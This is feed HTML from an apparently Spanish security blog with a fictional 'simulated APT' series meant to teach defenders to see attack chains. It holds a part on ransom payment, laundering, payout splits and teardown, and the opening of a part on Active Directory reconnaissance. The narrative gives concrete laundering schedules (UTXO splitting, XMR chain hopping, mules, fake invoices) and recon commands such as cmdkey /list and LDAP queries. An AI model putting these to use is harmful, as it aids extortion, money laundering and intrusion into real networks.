&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;{
  &quot;victim_id&quot;: &quot;IBX-7F3A-22C1&quot;,
  &quot;expected_btc&quot;: 73.42,
  &quot;usd_basis&quot;: 4800000,
  &quot;split_plan&quot;: &quot;orchid-7&quot;,
  &quot;risk&quot;: &quot;high_visibility&quot;
}
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

El pago entró en dos transacciones para reducir ansiedad de la víctima y confirmar recepción:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;TX1: 5% test payment
TX2: 95% final payment
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Una vez confirmado, Nebula Jackal no movió todo inmediatamente. Mover fondos demasiado rápido tras un incidente crea un patrón claro. Mint aplicó un plan de enfriamiento:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;T+0h: funds received, no movement except small test
T+8h: split into 12 UTXO clusters
T+36h: partial conversion via non-KYC swap routes
T+72h: XMR routing for 40%
T+5d: OTC placement for 25%
T+10d: stablecoin conversion for 20%
T+21d: mule distribution for operating costs
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

El reparto inicial:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Gross: 4.8M USD equivalent
Expected laundering loss: 18%
Infrastructure reserve: 7%
Emergency/legal reserve: 5%
Net distributable: approx 3.36M
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

El plan de chain hopping:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;BTC victim wallet
  -&amp;gt; split wallets
    -&amp;gt; BTC/XMR atomic swap or brokered swap
      -&amp;gt; XMR holding wallets
        -&amp;gt; partial XMR/BTC return through different liquidity
        -&amp;gt; stablecoins via OTC
        -&amp;gt; fiat via brokers/mulas
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Mint tenía reglas:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;No exchange KYC directly from victim-linked UTXO
No equal splits
No round numbers
No synchronized withdrawals
No reuse of deposit addresses
No mixing operator funds with campaign funds
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Ejemplo de split:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;73.42 BTC
  -&amp;gt; 8.13
  -&amp;gt; 3.77
  -&amp;gt; 12.04
  -&amp;gt; 1.92
  -&amp;gt; 6.41
  -&amp;gt; 9.86
  -&amp;gt; 0.64
  -&amp;gt; 14.22
  -&amp;gt; 2.39
  -&amp;gt; 5.58
  -&amp;gt; 4.01
  -&amp;gt; 4.45
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Nada de simetría. La simetría es una firma.&amp;nbsp;&lt;/div&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;Monetizacion: del token al mundo físico&amp;nbsp;&lt;/h4&gt;&lt;div&gt;Convertir cripto en dinero util era más difícil que recibirla. El equipo financiero usaba varias vías:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;1. Brokers OTC en mercados grises
2. Comerciantes P2P con prima alta
3. Compra de hardware revendible
4. Gift cards mayoristas
5. Stablecoins para pagos internos
6. Sociedades pantalla con facturas falsas
7. Mulas con retiros pequenos
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Cada vía tenia coste y riesgo:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Metodo                 Perdida   Riesgo   Velocidad
OTC gris               8-15%     Medio    Media
P2P cash               15-30%    Alto     Alta
Stablecoin             2-6%      Medio    Alta
Hardware resale        20-35%    Bajo     Baja
Gift cards             25-40%    Medio    Media
Shell invoices         10-25%    Alto     Baja
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

La clave era no maximizar rendimiento, sino supervivencia. Un 20% de perdida era aceptable si reducía trazabilidad y distribuía riesgo.

Las mulas no recibían millones. Recibían tareas:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Mula A: vender hardware comprado con cripto
Mula B: mover stablecoins a efectivo local
Mula C: aceptar pago por factura falsa
Mula D: comprar cuentas cloud y dominios
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

La mayoría no sabia que participaba en ransomware. Algunos creian trabajar en arbitraje cripto. Otros sabían suficiente para cobrar mas y preguntar menos.&amp;nbsp;&lt;/div&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;Reparto interno&amp;nbsp;&lt;/h4&gt;&lt;div&gt;The Curator aplicó el contrato interno:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Direction / risk owner: 18%
Initial access cell: 12%
Malware team: 18%
Intrusion operators: 20%
Infrastructure/OPSEC: 8%
Exfiltration: 7%
Negotiation: 7%
Finance/cashout: 10%
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Pero no todo se pagaba al instante. Había vesting criminal:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;40% immediate after confirmed payment
30% after successful decryptor delivery
20% after first cashout phase
10% reserve released after 60 days
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Motivo: evitar que alguien desapareciera con fondos o vendiera datos por su cuenta.

Ledger interno, cifrado:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;{
  &quot;campaign&quot;: &quot;black_orchard&quot;,
  &quot;gross_usd&quot;: 4800000,
  &quot;net_distributable_usd&quot;: 3360000,
  &quot;members&quot;: [
    {&quot;id&quot;: &quot;curator&quot;, &quot;share&quot;: 0.18, &quot;paid&quot;: 241920},
    {&quot;id&quot;: &quot;saltline&quot;, &quot;share&quot;: 0.12, &quot;paid&quot;: 161280},
    {&quot;id&quot;: &quot;sable&quot;, &quot;share&quot;: 0.08, &quot;paid&quot;: 107520},
    {&quot;id&quot;: &quot;oboe&quot;, &quot;share&quot;: 0.05, &quot;paid&quot;: 67200},
    {&quot;id&quot;: &quot;nadir&quot;, &quot;share&quot;: 0.05, &quot;paid&quot;: 67200},
    {&quot;id&quot;: &quot;knifewall&quot;, &quot;share&quot;: 0.12, &quot;paid&quot;: 161280},
    {&quot;id&quot;: &quot;meridian&quot;, &quot;share&quot;: 0.08, &quot;paid&quot;: 107520},
    {&quot;id&quot;: &quot;hollow&quot;, &quot;share&quot;: 0.07, &quot;paid&quot;: 94080},
    {&quot;id&quot;: &quot;vesper&quot;, &quot;share&quot;: 0.07, &quot;paid&quot;: 94080},
    {&quot;id&quot;: &quot;mint&quot;, &quot;share&quot;: 0.10, &quot;paid&quot;: 134400}
  ],
  &quot;reserve_usd&quot;: 336000
}
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Los pagos internos se hacian en combinaciones:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;XMR para operadores senior
USDT/USDC para infraestructura y servicios
BTC limpio por OTC para reservas
Fiat local para mulas
Servicios prepagados para futuras campanas&lt;/code&gt;&lt;/pre&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;

El descifrador&lt;/h4&gt;&lt;/div&gt;&lt;div&gt;Tras el pago, Nebula Jackal entregó un decryptor:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;IberLogix_Decryptor.exe
private_key_package.dat
README_RECOVERY.txt
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

El decryptor era lento, pero funcionaba. Ese era otro detalle de negocio: si el descifrador no funcionaba, futuras victimas tendrian menos incentivos para pagar. El ransomware criminal maduro depende de reputación paradójica.

El README:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;1. Ejecutar como administrador.
2. Probar primero en 10 archivos.
3. No ejecutar multiples instancias sobre el mismo path.
4. Usar --network-shares para rutas UNC.
5. Guardar logs.
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Parámetros:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;.\IberLogix_Decryptor.exe --key private_key_package.dat --path D:\Data --threads 8
.\IberLogix_Decryptor.exe --key private_key_package.dat --network-shares \\fs-mad-04\finance
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

La recuperación duró días. Algunos archivos estaban corruptos por bloqueos previos, software abierto o fallos de red. Nebula Jackal ofreció &quot;soporte&quot; en el chat durante 72 horas. Vesper incluso pidió logs.

El absurdo era perfecto: la empresa recibía soporte técnico de quien la había destruido.&amp;nbsp;&lt;/div&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;Burn: desaparecer no es apagar&amp;nbsp;&lt;/h4&gt;&lt;div&gt;&amp;nbsp;Después del pago, Nebula Jackal ejecutó la fase Burn.

Lista:&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Revoke phishing domains
Destroy VPS frontales
Rotate WireGuard keys
Archive campaign repos
Invalidate operator accounts
Move leak data to cold storage or delete selected lots
Retire SeedCrate config
Generate YARA diff for exposed samples
Update detections internas
Freeze aliases used
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Sable revisó muestras capturadas por defensores. Oboe comparó indicadores publicados. Magpie leyó los primeros informes de prensa. The Curator calculó el ROI:&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Campaign duration: 31 days
Active intrusion: 19 days
Gross paid: 4.8M
Net estimated: 3.36M
Operational cost: 214k
Exposed infrastructure: acceptable
Tooling burned: partial
Operator exposure: low
Reuse potential: medium
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Retrospectiva interna:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;What worked:
  - HR pretext aligned with real migration
  - Low-noise loader survived
  - Backup admin path via acquisition user
  - Insurance document improved negotiation

What failed:
  - One EDR flagged Nighthook memory pattern after day 8
  - rclone binary naming appeared in DFIR notes
  - GPO deployment missed 18% remote laptops
  - Decryptor too slow on large PST files

Actions:
  - Refactor Nighthook memory allocator
  - Replace rclone with custom S3 client
  - Improve laptop wake/encrypt routine
  - Add PST sparse recovery mode
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Nebula Jackal no pensaba en Black Orchard como una historia. Pensaba en ella como una versión.&amp;nbsp;&lt;/div&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;La lectura defensiva&amp;nbsp;&lt;/h4&gt;&lt;div&gt;La belleza oscura de una campana así es que no depende de un milagro técnico. Depende de pequeñas decisiones que, aisladas, parecen defendibles:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Un correo de RRHH plausible.
Un dominio parecido.
Un ZIP con contrasena.
Un LNK que abre un PDF real.
Una DLL cargada por una app legitima.
Una tarea programada con nombre aburrido.
Una credencial vieja en SYSVOL.
Un usuario de adquisicion con permisos pendientes.
Un backup server demasiado poderoso.
Una exfiltracion que parece backup.
Una GPO con permisos delegados.
Un domingo de madrugada.
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

La defensa no puede limitarse a detectar &quot;ransomware.exe&quot;. Cuando aparece el cifrado, la historia ya esta escrita.

Los puntos de ruptura estaban antes:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;1. Deteccion de dominios lookalike y certificados recien emitidos.&lt;/div&gt;&lt;div&gt;2. Bloqueo o aislamiento de HTML smuggling y archivos LNK desde Internet.&lt;/div&gt;&lt;div&gt;3. Control de DLL sideloading mediante allowlisting.&lt;/div&gt;&lt;div&gt;4. Alertas por scheduled tasks nuevas en perfiles de usuario.&lt;/div&gt;&lt;div&gt;5. Limpieza continua de credenciales en SYSVOL.&lt;/div&gt;&lt;div&gt;6. Revision de permisos tras adquisiciones.&lt;/div&gt;&lt;div&gt;7. Monitoreo de accesos anormales a backup servers.&lt;/div&gt;&lt;div&gt;8. Segmentacion real de repositorios de backup.&lt;/div&gt;&lt;div&gt;9. Deteccion de exfiltracion por volumen, horario y destino.&lt;/div&gt;&lt;div&gt;10. GPO change monitoring con aprobacion fuerte.&lt;/div&gt;&lt;div&gt;11. Simulacros de ransomware con restauracion medida.&lt;/div&gt;&lt;div&gt;12. Correlacion narrativa: convertir alertas sueltas en una historia.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

IberLogix no perdió por no tener herramientas. Perdió porque Nebula Jackal hizo que cada señal pareciera pertenecer a una historia distinta hasta que todas se unieron en la peor posible.

Esa es la esencia de una APT simulada bien construida: no es un ataque mas sofisticado en cada pieza. Es una cadena donde cada pieza conoce su lugar.

Y en Black Orchard, cada pieza encajó.&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpRoBEabscQNJ9oURhqlSlGPGHqS76_e3UKWQ59YB-T80Hirb4qKXXfwL2G-RV1Heu3c2rlssEf-qSpkpLZmIDvnGZ24V2g1ZWACnDAM5RkQirK0g2H918pyleLq-tbiCfaoq2Bw9AigkNOmljZwEGFFnSc1QzZfiRhAtTy5hTRlFnacU_CR8OKbrBos8V/s1254/nebula_logo.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1254&quot; data-original-width=&quot;1254&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpRoBEabscQNJ9oURhqlSlGPGHqS76_e3UKWQ59YB-T80Hirb4qKXXfwL2G-RV1Heu3c2rlssEf-qSpkpLZmIDvnGZ24V2g1ZWACnDAM5RkQirK0g2H918pyleLq-tbiCfaoq2Bw9AigkNOmljZwEGFFnSc1QzZfiRhAtTy5hTRlFnacU_CR8OKbrBos8V/s320/nebula_logo.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;Cierre de la serie&amp;nbsp;&lt;/h4&gt;&lt;div&gt;Nebula Jackal no existe. IberLogix Energy tampoco. Pero el patrón es reconocible porque esta construido con elementos que si existen: phishing que aprovecha procesos reales, identidades híbridas, deuda técnica en AD, permisos heredados, backups demasiado confiados, exfiltración camuflada, negociación profesional y monetizaciín distribuida.

La moraleja técnica no es &quot;todo esta perdido&quot;. Es más concreta y más útil:&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&quot;Una organización defensiva debe aprender a ver cadenas.&quot;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Un LNK no es sólo un LNK si aparece después de un dominio recién registrado que imita RRHH.
Una tarea programada no es sólo una tarea si nace en un portátil de finanzas después de un beacon raro.
Un login de un usuario de adquisición no es solo soporte si toca backup fuera de su patrón.
Una transferencia nocturna no es sólo backup si el destino es nuevo y el manifiesto no existe.
Una GPO modificada no es solo administración si ocurre tras actividad lateral.

La APT moderna, real o simulada, gana cuando el defensor mira eventos. Pierde cuando el defensor reconstruye historias.&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='https://www.hackplayers.com/feeds/3270598728347079786/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://www.hackplayers.com/2026/06/anatomia-de-una-apt-simulada-parte-4.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/3270598728347079786'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/3270598728347079786'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/2026/06/anatomia-de-una-apt-simulada-parte-4.html' title='Anatomía de una APT simulada. Parte 4 - La noche del cifrado, la negociación y el reparto'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhytty0FnunxfCs_Farr6sH0bgnLk77mUZ2RerT0rrMhRKPrvLxD05X8mTml_OL1eEDbfdMASzoiQ-FLuupkuRNDBG10xyLmv4NN58w28tWxLAm1T_6bukBLs-uJ7vauECBF7asN3a0bWkUDVkiMXBPHOeEeWAGEgelnYDY_lOuewucYGed7R1DaM84v3Pv/s72-w640-h426-c/nebulajackal_panel.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9133539773684103848.post-5570684110474106626</id><published>2026-06-02T23:46:51.306+02:00</published><updated>2026-06-04T00:20:40.620+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="APT"/><category scheme="http://www.blogger.com/atom/ns#" term="maldev"/><category scheme="http://www.blogger.com/atom/ns#" term="malware"/><category scheme="http://www.blogger.com/atom/ns#" term="ransomware"/><category scheme="http://www.blogger.com/atom/ns#" term="red team"/><title type='text'>Anatomía de una APT simulada. Parte 3 - Dentro del bosque de Active Directory</title><content type='html'>La intrusión real empezó cuando no paso nada.

Durante veinticuatro horas, Nebula Jackal dejo que el portátil de Marta Solis siguiera viviendo. Teams. Outlook. SAP. Excel. OneDrive. VPN. Cafe. Reuniones. El implante observaba con la paciencia de un sensor.&amp;nbsp;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Knifewall tomo el caso a las 22:10. Su primera orden no fue `whoami /all`, aunque podía haberla lanzado. Primero pidió contexto.

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Task: host_profile.deep
Scope: local only
Timeout: 90s
Output max: 48KB
&lt;/code&gt;&lt;/pre&gt;

El resultado:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Hostname: ES-MAD-FIN-0472
Domain: IBERLOGIX.LOCAL
User: IBERLOGIX\msolis
Groups:
  Domain Users
  Finance-Madrid
  SAP-FI-Users
  VPN-Employees
  M365-E5-Users
Mapped drives:
  H: \\fs-mad-02\home$\msolis
  P: \\fs-mad-04\finance
  S: \\sap-share-01\exports
Processes:
  Teams.exe
  OUTLOOK.EXE
  OneDrive.exe
  saplogon.exe
EDR:
  Defender for Endpoint sensor
  Third-party agent legacy mode
&lt;/code&gt;&lt;/pre&gt;

El valor no estaba en la máquina. Estaba en sus relaciones.&amp;nbsp;&lt;/div&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;Primer mapa: no escanear, preguntar&amp;nbsp;&lt;/h4&gt;&lt;div&gt;Los malos operadores escanean subredes enteras y despiertan alarmas. Knifewall prefería preguntar al propio sistema que caminos conocía ya.&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;

Comandos de bajo ruido:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;nltest /dsgetdc:IBERLOGIX
whoami /groups
net use
cmdkey /list
gpresult /r
echo %LOGONSERVER%
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Después, consultas LDAP muy medidas:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;([adsisearcher]&quot;(sAMAccountName=msolis)&quot;).FindOne().Properties
([adsisearcher]&quot;(&amp;amp;(objectClass=group)(cn=*Finance*))&quot;).FindAll()
([adsisearcher]&quot;(&amp;amp;(objectClass=computer)(operatingSystem=*Server*))&quot;).FindAll()
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Nada de BloodHound aun. Primero había que saber si el dominio olía a trampa, si había honeytokens, si había auditoria agresiva o nombres demasiado perfectos.

Una salida llamo la atención:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Drive P: \\fs-mad-04\finance
Access: Read/Write
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Y otra más:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;\\sap-share-01\exports
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

El equipo no necesitaba Domain Admin para causar dolor. Finanzas y SAP ya eran leverage. Pero The Curator quería tres cosas antes de cifrar:&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;1. Datos sensibles demostrables
2. Capacidad de interrupción amplia
3. Conocimiento de backups
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Eso implicaba moverse.&amp;nbsp;&lt;/div&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;El hilo suelto en SYSVOL&lt;/h4&gt;&lt;div&gt;El primer hallazgo serio fue clásico. No elegante. No nuevo. Real.

